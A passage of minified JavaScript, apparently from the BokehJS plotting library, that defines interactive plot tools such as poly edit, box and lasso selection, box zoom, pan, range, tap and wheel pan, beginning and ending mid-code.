u=o.selected.indices[0];this._drawing?(this._drawing=!1,o.selection_manager.clear()):(o.selected.indices=[u+1],l&&o.get_array(l).splice(u+1,0,i),h&&o.get_array(h).splice(u+1,0,n),this._drawing=!0),o.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}else this._show_vertices(t)}}},t.prototype._show_vertices=function(t){if(this.model.active){var e=this._select_event(t,!1,this.model.renderers);if(!e.length)return this._set_vertices([],[]),this._selected_renderer=null,void(this._drawing=!1);var i,n,r=e[0],o=r.glyph,s=r.data_source,a=s.selected.indices[0],l=[o.xs.field,o.ys.field],h=l[0],u=l[1];h?(i=s.data[h][a],c.isArray(i)||(s.data[h][a]=i=Array.from(i))):i=o.xs.value,u?(n=s.data[u][a],c.isArray(n)||(s.data[u][a]=n=Array.from(n))):n=o.ys.value,this._selected_renderer=r,this._set_vertices(i,n)}},t.prototype._move=function(t){var e;if(this._drawing&&null!=this._selected_renderer){var i=this.model.vertex_renderer,n=i.data_source,r=i.glyph,o=this._map_drag(t.sx,t.sy,i);if(null==o)return;var s=o[0],a=o[1],l=n.selected.indices;e=this._snap_to_vertex(t,s,a),s=e[0],a=e[1],n.selected.indices=l;var h=[r.x.field,r.y.field],u=h[0],c=h[1],_=l[0];u&&(n.data[u][_]=s),c&&(n.data[c][_]=a),n.change.emit(),this._selected_renderer.data_source.change.emit()}},t.prototype._tap=function(t){var e,i=this.model.vertex_renderer,n=this._map_drag(t.sx,t.sy,i);if(null!=n){if(this._drawing&&this._selected_renderer){var r=n[0],o=n[1],s=i.data_source,a=i.glyph,l=[a.x.field,a.y.field],h=l[0],u=l[1],c=s.selected.indices;e=this._snap_to_vertex(t,r,o),r=e[0],o=e[1];var _=c[0];if(s.selected.indices=[_+1],h){var p=s.get_array(h),d=p[_];p[_]=r,p.splice(_+1,0,d)}if(u){var f=s.get_array(u),v=f[_];f[_]=o,f.splice(_+1,0,v)}return s.change.emit(),void this._emit_cds_changes(this._selected_renderer.data_source,!0,!1,!0)}var m=t.shiftKey;this._select_event(t,m,[i]),this._select_event(t,m,this.model.renderers)}},t.prototype._remove_vertex=function(){if(this._drawing&&this._selected_renderer){var t=this.model.vertex_renderer,e=t.data_source,i=t.glyph,n=e.selected.indices[0],r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&e.get_array(o).splice(n,1),s&&e.get_array(s).splice(n,1),e.change.emit(),this._emit_cds_changes(this._selected_renderer.data_source)}},t.prototype._pan_start=function(t){this._select_event(t,!0,[this.model.vertex_renderer]),this._basepoint=[t.sx,t.sy]},t.prototype._pan=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._selected_renderer&&this._selected_renderer.data_source.change.emit())},t.prototype._pan_end=function(t){null!=this._basepoint&&(this._drag_points(t,[this.model.vertex_renderer]),this._emit_cds_changes(this.model.vertex_renderer.data_source,!1,!0,!0),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source),this._basepoint=null)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame){var e;e=this._selected_renderer?[this.model.vertex_renderer]:this.model.renderers;for(var i=0,n=e;i<n.length;i++){var r=n[i];t.keyCode===o.Keys.Backspace?(this._delete_selected(r),this._selected_renderer&&this._emit_cds_changes(this._selected_renderer.data_source)):t.keyCode==o.Keys.Esc&&(this._drawing?(this._remove_vertex(),this._drawing=!1):this._selected_renderer&&this._hide_vertices(),r.data_source.selection_manager.clear())}}},t.prototype.deactivate=function(){this._selected_renderer&&(this._drawing&&(this._remove_vertex(),this._drawing=!1),this._hide_vertices())},t}(r.PolyToolView);i.PolyEditToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Edit Tool\\\",e.icon=\\\"bk-tool-icon-poly-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=4,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyEditTool\\\",this.prototype.default_view=s},t}(r.PolyTool);(i.PolyEditTool=a).initClass()},function(t,e,i){var n=t(391),r=t(15),a=t(44),o=t(243),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_vertices=function(t,e){var i=this.model.vertex_renderer.glyph,n=this.model.vertex_renderer.data_source,r=[i.x.field,i.y.field],o=r[0],s=r[1];o&&(a.isArray(t)?n.data[o]=t:i.x={value:t}),s&&(a.isArray(e)?n.data[s]=e:i.y={value:e}),this._emit_cds_changes(n,!0,!0,!1)},e.prototype._hide_vertices=function(){this._set_vertices([],[])},e.prototype._snap_to_vertex=function(t,e,i){if(this.model.vertex_renderer){var n=this._select_event(t,!1,[this.model.vertex_renderer]),r=this.model.vertex_renderer.data_source,o=this.model.vertex_renderer.glyph,s=[o.x.field,o.y.field],a=s[0],l=s[1];if(n.length){var h=r.selected.indices[0];a&&(e=r.data[a][h]),l&&(i=r.data[l][h]),r.selection_manager.clear()}}return[e,i]},e}(o.EditToolView);i.PolyToolView=s;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PolyTool\\\",this.prototype.default_view=s,this.define({vertex_renderer:[r.Instance]})},t}(o.EditTool);(i.PolyTool=l).initClass()},function(t,e,i){var v=t(391),n=t(256),r=t(64),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return v.__extends(e,t),e.prototype._compute_limits=function(t){var e=this.plot_model.frame,i=this.model.dimensions,n=this._base_point;if(\\\"center\\\"==this.model.origin){var r=n[0],o=n[1],s=t[0],a=t[1];n=[r-(s-r),o-(a-o)]}return this.model._get_dim_limits(n,t,e,i)},e.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this._base_point=[e,i]},e.prototype._pan=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1];if(this.model.overlay.update({left:o[0],right:o[1],top:s[0],bottom:s[1]}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(o,s,!1,a)}},e.prototype._pan_end=function(t){var e=t.sx,i=t.sy,n=[e,i],r=this._compute_limits(n),o=r[0],s=r[1],a=t.shiftKey;this._do_select(o,s,!0,a),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null,this.plot_view.push_state(\\\"box_select\\\",{selection:this.plot_view.get_selection()})},e.prototype._do_select=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l={type:\\\"rect\\\",sx0:r,sx1:o,sy0:s,sy1:a};this._select(l,i,n)},e.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=t.sx0,s=t.sx1,a=t.sy0,l=t.sy1,h=n.r_invert(o,s),u=h[0],c=h[1],_=r.r_invert(a,l),p=_[0],d=_[1],f=v.__assign({x0:u,y0:p,x1:c,y1:d},t);this.model.callback.execute(this.model,{geometry:f})},e}(n.SelectToolView);i.BoxSelectToolView=s;var a=function(){return new r.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Select\\\",e.icon=\\\"bk-tool-icon-box-select\\\",e.event_type=\\\"pan\\\",e.default_order=30,e}return v.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxSelectTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"],select_every_mousemove:[o.Bool,!1],callback:[o.Instance],overlay:[o.Instance,a],origin:[o.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(n.SelectTool);(i.BoxSelectTool=l).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(64),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._match_aspect=function(t,e,i){var n,r,o,s,a=i.bbox.aspect,l=i.bbox.h_range.end,h=i.bbox.h_range.start,u=i.bbox.v_range.end,c=i.bbox.v_range.start,_=Math.abs(t[0]-e[0]),p=Math.abs(t[1]-e[1]),d=0==p?0:_/p,f=(a<=d?[1,d/a]:[a/d,1])[0];return t[0]<=e[0]?(n=t[0],r=t[0]+_*f,l<r&&(r=l)):(r=t[0],(n=t[0]-_*f)<h&&(n=h)),_=Math.abs(r-n),t[1]<=e[1]?(s=t[1],o=t[1]+_/a,u<o&&(o=u)):(o=t[1],(s=t[1]-_/a)<c&&(s=c)),p=Math.abs(o-s),t[0]<=e[0]?r=t[0]+a*p:n=t[0]-a*p,[[n,r],[s,o]]},e.prototype._compute_limits=function(t){var e,i,n,r,o=this.plot_model.frame,s=this.model.dimensions,a=this._base_point;if(\\\"center\\\"==this.model.origin){var l=a[0],h=a[1],u=t[0],c=t[1];a=[l-(u-l),h-(c-h)]}return this.model.match_aspect&&\\\"both\\\"==s?(e=this._match_aspect(a,t,o),n=e[0],r=e[1]):(i=this.model._get_dim_limits(a,t,o,s),n=i[0],r=i[1]),[n,r]},e.prototype._pan_start=function(t){this._base_point=[t.sx,t.sy]},e.prototype._pan=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this.model.overlay.update({left:n[0],right:n[1],top:r[0],bottom:r[1]})},e.prototype._pan_end=function(t){var e=[t.sx,t.sy],i=this._compute_limits(e),n=i[0],r=i[1];this._update(n,r),this.model.overlay.update({left:null,right:null,top:null,bottom:null}),this._base_point=null},e.prototype._update=function(t,e){var i=t[0],n=t[1],r=e[0],o=e[1];if(!(Math.abs(n-i)<=5||Math.abs(o-r)<=5)){var s=this.plot_model.frame,a=s.xscales,l=s.yscales,h={};for(var u in a){var c=a[u],_=c.r_invert(i,n),p=_[0],d=_[1];h[u]={start:p,end:d}}var f={};for(var v in l){var c=l[v],m=c.r_invert(r,o),p=m[0],d=m[1];f[v]={start:p,end:d}}var g={xrs:h,yrs:f};this.plot_view.push_state(\\\"box_zoom\\\",{range:g}),this.plot_view.update_range(g)}},e}(r.GestureToolView);i.BoxZoomToolView=a;var l=function(){return new o.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",top_units:\\\"screen\\\",left_units:\\\"screen\\\",bottom_units:\\\"screen\\\",right_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Zoom\\\",e.icon=\\\"bk-tool-icon-box-zoom\\\",e.event_type=\\\"pan\\\",e.default_order=20,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxZoomTool\\\",this.prototype.default_view=a,this.define({dimensions:[s.Dimensions,\\\"both\\\"],overlay:[s.Instance,l],match_aspect:[s.Bool,!1],origin:[s.String,\\\"corner\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.BoxZoomTool=h).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(265),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.ButtonToolView);i.GestureToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=o.OnOffButtonView,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"GestureTool\\\"},t}(r.ButtonTool);(i.GestureTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data=null},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_overlay()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_overlay()},t.prototype._pan_start=function(t){var e=t.sx,i=t.sy;this.data={sx:[e],sy:[i]}},t.prototype._pan=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox.clip(e,i),r=n[0],o=n[1];this.data.sx.push(r),this.data.sy.push(o);var s=this.model.overlay;if(s.update({xs:this.data.sx,ys:this.data.sy}),this.model.select_every_mousemove){var a=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!1,a)}},t.prototype._pan_end=function(t){this._clear_overlay();var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"lasso_select\\\",{selection:this.plot_view.get_selection()})},t.prototype._clear_overlay=function(){this.model.overlay.update({xs:[],ys:[]})},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.LassoSelectToolView=a;var h=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},u=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Lasso Select\\\",e.icon=\\\"bk-tool-icon-lasso-select\\\",e.event_type=\\\"pan\\\",e.default_order=12,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"LassoSelectTool\\\",this.prototype.default_view=a,this.define({select_every_mousemove:[s.Bool,!0],callback:[s.Instance],overlay:[s.Instance,h]})},t}(n.SelectTool);(i.LassoSelectTool=u).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=t.sx,i=t.sy,n=this.plot_model.frame.bbox;if(!n.contains(e,i)){var r=n.h_range,o=n.v_range;(e<r.start||e>r.end)&&(this.v_axis_only=!0),(i<o.start||i>o.end)&&(this.h_axis_only=!0)}null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan=function(t){this._update(t.deltaX,t.deltaY),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e.prototype._pan_end=function(t){this.h_axis_only=!1,this.v_axis_only=!1,null!=this.pan_info&&this.plot_view.push_state(\\\"pan\\\",{range:this.pan_info})},e.prototype._update=function(t,e){var i,n,r,o,s,a,l=this.plot_model.frame,h=t-this.last_dx,u=e-this.last_dy,c=l.bbox.h_range,_=c.start-h,p=c.end-h,d=l.bbox.v_range,f=d.start-u,v=d.end-u,m=this.model.dimensions;\\\"width\\\"!=m&&\\\"both\\\"!=m||this.v_axis_only?(i=c.start,n=c.end,r=0):(i=_,n=p,r=-h),\\\"height\\\"!=m&&\\\"both\\\"!=m||this.h_axis_only?(o=d.start,s=d.end,a=0):(o=f,s=v,a=-u),this.last_dx=t,this.last_dy=e;var g=l.xscales,y=l.yscales,b={};for(var x in g){var w=g[x],k=w.r_invert(i,n),S=k[0],C=k[1];b[x]={start:S,end:C}}var T={};for(var A in y){var w=y[A],E=w.r_invert(o,s),S=E[0],C=E[1];T[A]={start:S,end:C}}this.pan_info={xrs:b,yrs:T,sdx:r,sdy:a},this.plot_view.update_range(this.pan_info,!0)},e}(r.GestureToolView);i.PanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Pan\\\",e.event_type=\\\"pan\\\",e.default_order=10,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PanTool\\\",this.prototype.default_view=s,this.define({dimensions:[o.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(\\\"Pan\\\",this.dimensions)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"icon\\\",{get:function(){switch(this.dimensions){case\\\"both\\\":return\\\"bk-tool-icon-pan\\\";case\\\"width\\\":return\\\"bk-tool-icon-xpan\\\";case\\\"height\\\":return\\\"bk-tool-icon-ypan\\\"}},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.PanTool=a).initClass()},function(t,e,i){var l=t(391),n=t(256),r=t(71),o=t(5),s=t(15),a=t(21),h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return l.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.data={sx:[],sy:[]}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.active.change,function(){return t._active_change()})},t.prototype._active_change=function(){this.model.active||this._clear_data()},t.prototype._keyup=function(t){t.keyCode==o.Keys.Enter&&this._clear_data()},t.prototype._doubletap=function(t){var e=t.shiftKey;this._do_select(this.data.sx,this.data.sy,!0,e),this.plot_view.push_state(\\\"poly_select\\\",{selection:this.plot_view.get_selection()}),this._clear_data()},t.prototype._clear_data=function(){this.data={sx:[],sy:[]},this.model.overlay.update({xs:[],ys:[]})},t.prototype._tap=function(t){var e=t.sx,i=t.sy,n=this.plot_model.frame;n.bbox.contains(e,i)&&(this.data.sx.push(e),this.data.sy.push(i),this.model.overlay.update({xs:a.copy(this.data.sx),ys:a.copy(this.data.sy)}))},t.prototype._do_select=function(t,e,i,n){var r={type:\\\"poly\\\",sx:t,sy:e};this._select(r,i,n)},t.prototype._emit_callback=function(t){var e=this.computed_renderers[0],i=this.plot_model.frame,n=i.xscales[e.x_range_name],r=i.yscales[e.y_range_name],o=n.v_invert(t.sx),s=r.v_invert(t.sy),a=l.__assign({x:o,y:s},t);this.model.callback.execute(this.model,{geometry:a})},t}(n.SelectToolView);i.PolySelectToolView=h;var u=function(){return new r.PolyAnnotation({level:\\\"overlay\\\",xs_units:\\\"screen\\\",ys_units:\\\"screen\\\",fill_color:{value:\\\"lightgrey\\\"},fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:2},line_dash:{value:[4,4]}})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Poly Select\\\",e.icon=\\\"bk-tool-icon-polygon-select\\\",e.event_type=\\\"tap\\\",e.default_order=11,e}return l.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolySelectTool\\\",this.prototype.default_view=h,this.define({callback:[s.Instance],overlay:[s.Instance,u]})},t}(n.SelectTool);(i.PolySelectTool=c).initClass()},function(t,e,i){var n=t(391),_=t(64),r=t(14),o=t(15),s=t(251);function p(t,e,i,n){if(null==e)return!1;var r=i.compute(e);return Math.abs(t-r)<n}function d(t,e,i,n,r){var o=!0;if(null!=r.left&&null!=r.right){var s=i.invert(t);(s<r.left||s>r.right)&&(o=!1)}if(null!=r.bottom&&null!=r.top){var a=n.invert(e);(a<r.bottom||a>r.top)&&(o=!1)}return o}function l(t,e,i,n){var r=e.compute(t),o=e.invert(r+i);return o>=n.start&&o<=n.end?o:t}function h(t,e,i,n){var r=e.r_compute(t.start,t.end),o=r[0],s=r[1],a=e.r_invert(o+i,s+i),l=a[0],h=a[1];l>=n.start&&l<=n.end&&h>=n.start&&h<=n.end&&(t.start=l,t.end=h)}i.is_near=p,i.is_inside=d,i.compute_value=l,i.update_range=h;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.side=0,this.model.update_overlay_from_ranges()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),null!=this.model.x_range&&this.connect(this.model.x_range.change,function(){return t.model.update_overlay_from_ranges()}),null!=this.model.y_range&&this.connect(this.model.y_range.change,function(){return t.model.update_overlay_from_ranges()})},t.prototype._pan_start=function(t){this.last_dx=0,this.last_dy=0;var e=this.model.x_range,i=this.model.y_range,n=this.plot_model.frame,r=n.xscales.default,o=n.yscales.default,s=this.model.overlay,a=s.left,l=s.right,h=s.top,u=s.bottom,c=this.model.overlay.properties.line_width.value()+_.EDGE_TOLERANCE;null!=e&&this.model.x_interaction&&(p(t.sx,a,r,c)?this.side=1:p(t.sx,l,r,c)?this.side=2:d(t.sx,t.sy,r,o,s)&&(this.side=3)),null!=i&&this.model.y_interaction&&(0==this.side&&p(t.sy,u,o,c)&&(this.side=4),0==this.side&&p(t.sy,h,o,c)?this.side=5:d(t.sx,t.sy,r,o,this.model.overlay)&&(3==this.side?this.side=7:this.side=6))},t.prototype._pan=function(t){var e=this.plot_model.frame,i=t.deltaX-this.last_dx,n=t.deltaY-this.last_dy,r=this.model.x_range,o=this.model.y_range,s=e.xscales.default,a=e.yscales.default;null!=r&&(3==this.side||7==this.side?h(r,s,i,e.x_range):1==this.side?r.start=l(r.start,s,i,e.x_range):2==this.side&&(r.end=l(r.end,s,i,e.x_range))),null!=o&&(6==this.side||7==this.side?h(o,a,n,e.y_range):4==this.side?o.start=l(o.start,a,n,e.y_range):5==this.side&&(o.end=l(o.end,a,n,e.y_range))),this.last_dx=t.deltaX,this.last_dy=t.deltaY},t.prototype._pan_end=function(t){this.side=0},t}(s.GestureToolView);i.RangeToolView=a;var u=function(){return new _.BoxAnnotation({level:\\\"overlay\\\",render_mode:\\\"css\\\",fill_color:\\\"lightgrey\\\",fill_alpha:{value:.5},line_color:{value:\\\"black\\\"},line_alpha:{value:1},line_width:{value:.5},line_dash:[2,2]})},c=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Range Tool\\\",e.icon=\\\"bk-tool-icon-range\\\",e.event_type=\\\"pan\\\",e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RangeTool\\\",this.prototype.default_view=a,this.define({x_range:[o.Instance,null],x_interaction:[o.Bool,!0],y_range:[o.Instance,null],y_interaction:[o.Bool,!0],overlay:[o.Instance,u]})},t.prototype.initialize=function(){i.prototype.initialize.call(this),this.overlay.in_cursor=\\\"grab\\\",this.overlay.ew_cursor=null!=this.x_range&&this.x_interaction?\\\"ew-resize\\\":null,this.overlay.ns_cursor=null!=this.y_range&&this.y_interaction?\\\"ns-resize\\\":null},t.prototype.update_overlay_from_ranges=function(){null==this.x_range&&null==this.y_range&&(this.overlay.left=null,this.overlay.right=null,this.overlay.bottom=null,this.overlay.top=null,r.logger.warn(\\\"RangeTool not configured with any Ranges.\\\")),null==this.x_range?(this.overlay.left=null,this.overlay.right=null):(this.overlay.left=this.x_range.start,this.overlay.right=this.x_range.end),null==this.y_range?(this.overlay.bottom=null,this.overlay.top=null):(this.overlay.bottom=this.y_range.start,this.overlay.top=this.y_range.end)},t}(s.GestureTool);(i.RangeTool=c).initClass()},function(t,e,i){var y=t(391),n=t(251),o=t(186),r=t(271),s=t(15),a=t(5),b=t(3),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return y.__extends(e,t),Object.defineProperty(e.prototype,\\\"computed_renderers\\\",{get:function(){var t=this.model.renderers,e=this.plot_model.plot.renderers,i=this.model.names;return r.compute_renderers(t,e,i)},enumerable:!0,configurable:!0}),e.prototype._computed_renderers_by_data_source=function(){for(var t={},e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=void 0;(r=n instanceof o.GraphRenderer?n.node_renderer.data_source.id:n.data_source.id)in t||(t[r]=[]),t[r].push(n)}return t},e.prototype._keyup=function(t){if(t.keyCode==a.Keys.Esc){for(var e=0,i=this.computed_renderers;e<i.length;e++){var n=i[e],r=n.data_source,o=r.selection_manager;o.clear()}this.plot_view.request_render()}},e.prototype._select=function(t,e,i){var n=this._computed_renderers_by_data_source();for(var r in n){for(var o=n[r],s=o[0].get_selection_manager(),a=[],l=0,h=o;l<h.length;l++){var u=h[l];u.id in this.plot_view.renderer_views&&a.push(this.plot_view.renderer_views[u.id])}s.select(a,t,e,i)}null!=this.model.callback&&this._emit_callback(t),this._emit_selection_event(t,e)},e.prototype._emit_selection_event=function(t,e){void 0===e&&(e=!0);var i,n=this.plot_model.frame.xscales.default,r=this.plot_model.frame.yscales.default;switch(t.type){case\\\"point\\\":var o=t.sx,s=t.sy,a=n.invert(o),l=r.invert(s);i=y.__assign({},t,{x:a,y:l});break;case\\\"rect\\\":var h=t.sx0,u=t.sx1,c=t.sy0,_=t.sy1,p=n.r_invert(h,u),d=p[0],f=p[1],v=r.r_invert(c,_),m=v[0],g=v[1];i=y.__assign({},t,{x0:d,y0:m,x1:f,y1:g});break;case\\\"poly\\\":var o=t.sx,s=t.sy,a=n.v_invert(o),l=r.v_invert(s);i=y.__assign({},t,{x:a,y:l});break;default:throw new Error(\\\"Unrecognized selection geometry type: '\\\"+t.type+\\\"'\\\")}this.plot_model.plot.trigger_event(new b.SelectionGeometry({geometry:i,final:e}))},e}(n.GestureToolView);i.SelectToolView=l;var h=function(e){function t(t){return e.call(this,t)||this}return y.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectTool\\\",this.define({renderers:[s.Any,\\\"auto\\\"],names:[s.Array,[]]})},t}(n.GestureTool);(i.SelectTool=h).initClass()},function(t,e,i){var x=t(391),n=t(256),r=t(15),w=t(44),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return x.__extends(e,t),e.prototype._tap=function(t){var e=t.sx,i=t.sy,n={type:\\\"point\\\",sx:e,sy:i},r=t.shiftKey;this._select(n,!0,r)},e.prototype._select=function(t,e,i){var n=this,r=this.model.callback;if(\\\"select\\\"==this.model.behavior){var o=this._computed_renderers_by_data_source();for(var s in o){var a=o[s],l=a[0].get_selection_manager(),h=a.map(function(t){return n.plot_view.renderer_views[t.id]}),u=l.select(h,t,e,i);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[a[0].x_range_name],p=c.yscales[a[0].y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}this._emit_selection_event(t),this.plot_view.push_state(\\\"tap\\\",{selection:this.plot_view.get_selection()})}else for(var g=0,y=this.computed_renderers;g<y.length;g++){var b=y[g],l=b.get_selection_manager(),u=l.inspect(this.plot_view.renderer_views[b.id],t);if(u&&null!=r){var c=this.plot_model.frame,_=c.xscales[b.x_range_name],p=c.yscales[b.y_range_name],d=_.invert(t.sx),f=p.invert(t.sy),v=x.__assign({},t,{x:d,y:f}),m={geometries:v,source:l.source};w.isFunction(r)?r(this,m):r.execute(this,m)}}},e}(n.SelectToolView);i.TapToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Tap\\\",e.icon=\\\"bk-tool-icon-tap-select\\\",e.event_type=\\\"tap\\\",e.default_order=10,e}return x.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"TapTool\\\",this.prototype.default_view=o,this.define({behavior:[r.String,\\\"select\\\"],callback:[r.Any]})},t}(n.SelectTool);(i.TapTool=s).initClass()},function(t,e,i){var n=t(391),r=t(251),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._scroll=function(t){var e=this.model.speed*t.delta;.9<e?e=.9:e<-.9&&(e=-.9),this._update_ranges(e)},e.prototype._update_ranges=function(t){var e,i,n,r,o=this.plot_model.frame,s=o.bbox.h_range,a=o.bbox.v_range,l=[s.start,s.end],h=l[0],u=l[1],c=[a.start,a.end],_=c[0],p=c[1];switch(this.model.dimension){case\\\"height\\\":var d=Math.abs(p-_);e=h,i=u,n=_-d*t,r=p-d*t;break;case\\\"width\\\":var f=Math.abs(u-h);e=h-f*t,i=u-f*t,n=_,r=p;break;default:throw new Error(\\\"this shouldn't have happened\\\")}var v=o.xscales,m=o.yscales,g={};for(var y in v){var b=v[y],x=b.r_invert(e,i),w=x[0],k=x[1];g[y]={start:w,end:k}}var S={};for(var C in m){var b=m[C],T=b.r_invert(n,r),w=T[0],k=T[1];S[C]={start:w,end:k}}var A={xrs:g,yrs:S,factor:t};this.plot_view.push_state(\\\"wheel_pan\\\",{range:A}),this.plot_view.update_range(A,!1,!0),null!=this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.GestureToolView);i.WheelPanToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Wheel Pan\\\",e.icon=\\\"bk-tool-icon-wheel-pan\\\",e.event_type=\\\"scroll\\\",e.default_order=12,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"WheelPanTool\\\",this.prototype.default_view=s,this.define({dimension:[o.Dimension,\\\"width\\\"]}),this.internal({speed:[o.Number,.001]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimension)},enumerable:!0,configurable:!0}),t}(r.GestureTool);(i.WheelPanTool=a).initClass()},function(t,e,i){var n=t(391),r=t(251),c=t(46),o=t(15),s=t(20),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._pinch=function(t){var 